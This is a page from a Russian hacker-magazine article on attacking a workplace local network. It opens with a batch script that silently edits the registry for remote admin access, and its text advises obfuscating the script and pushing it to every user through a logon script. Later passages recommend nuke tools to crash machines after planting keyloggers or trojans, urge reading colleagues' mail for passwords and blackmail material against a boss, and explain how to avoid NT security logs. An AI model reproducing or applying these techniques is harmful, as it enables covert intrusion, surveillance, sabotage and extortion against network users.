ЖУРНАЛ ХАКЕР

Основы выживания в локальной сети

Xakep, номер #034, стр. 034-042-5


if exist c:\windows\system\share.vxd goto exit

@C:

@cd \Windows\system

@echo REGEDIT4 > test1.vxd

@echo [HKEY_LOCAL_MACHINE\Security\Access\Admin\Remote] > test2.vxd

@echo "YOUR_DOMAIN\\DOMAIN ADMINS"=hex:ff,00 > test3.vxd

@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] > test4.vxd

@echo "NoAdminPage"=dword:00000001 > test5.vxd

@copy test1.vxd+test2.vxd+test3.vxd+test4.vxd+test5.vxd share.vxd >nul

@del test*.vxd >nul

@regedit /s share.vxd

:exit

Коряво, наверное, но это в основном РАБОТАЕТ. Обработать bat2com-ом, потом сом2ехе, следом pklite c максимальной компрессией (unextractable). Это нужно для того, чтобы не было понятно, что это "чудо программистской мысли" все-таки делает :). По совету вирусописателей после забить нулями заголовок с текстом про pklite. Здесь все-таки больше подойдет программа именно под дос, т.к. не вызывает особых подозрений при загрузке из батника.

Можно, конечно, всадить это все (правку реестра) либо в инсталлятор, либо еще куда, можно просто написать программу на нормальном языке. Но случай со скриптом наиболее действенный и глобальный, т.к. пропатчатся ВСЕ, кто вошел в сеть... Естественно, в батник можно воткнуть все что угодно... Хоть format D :).

Локальные конфликты

Хорошо зарекомендовал себя voidozer для 98-х и обычный нюк для 95-х. Странно, но voidozer оказался бесполезен против 95-х непатченных виндов! Пришлось качать старый добрый winnuke :). Лично я употребляю их в качестве remote shutdown-a для 98-95 (например, когда ты подсадил через шару кейлоггер либо трояна и не хочешь ждать, когда юзер сам перезагрузится, - тебе не терпится почитать, что он там пишет подружкам :).

Почта

Вместе с правами администратора ты получил универсальный ключ к почтовым ящикам. Рекомендую иногда туда заглядывать, там бывает много интересного - в том числе пароли, а также любовная переписка и прочие тайны. Юзеры часто доверчивы и думают, что никто их почту не читает :). Разве плохо знать, что твой шеф трахает вон ту девицу из бухгалтерии, иногда это может быть самым весомым аргументом в споре с ним :). Скорее всего нужно будет поставить себе программу управления почтовым сервером и юзать ее с правами админа (вообще про почту отдельный разговор, так как все зависит от конкретного случая).

Личная безопасность

Локалка это не iNet, и найти виновника гораздо проще, если администратор не спит, не пьян и не под наркозом (хочется добавить - и не в танке!). Тем более, что NT ведет лог, который кличут eventlog и который фиксирует действия пользователей и системные события. Однако не все так страшно: по умолчанию самый гнусный с нашей точки зрения security log не включен, и в этом случае мы можем делать все что угодно. Я еще раз подчеркиваю - по умолчанию, это довольно часто встречающаяся установка. Включается security log при помощи так называемого аудита, он описывает, какие действия и события фиксировать в журнале. Но особо наглые действия вносятся и в SYSTEM LOG, например, некто подключил себе чужой почтовый ящик в MS Exchange. Но им можно управлять, как и всем остальным, удаленно. Делается это при помощи стандартной опции "Управление компьютером".

Назад на стр. 034-042-4  Содержание  Вперед на стр. 034-042-6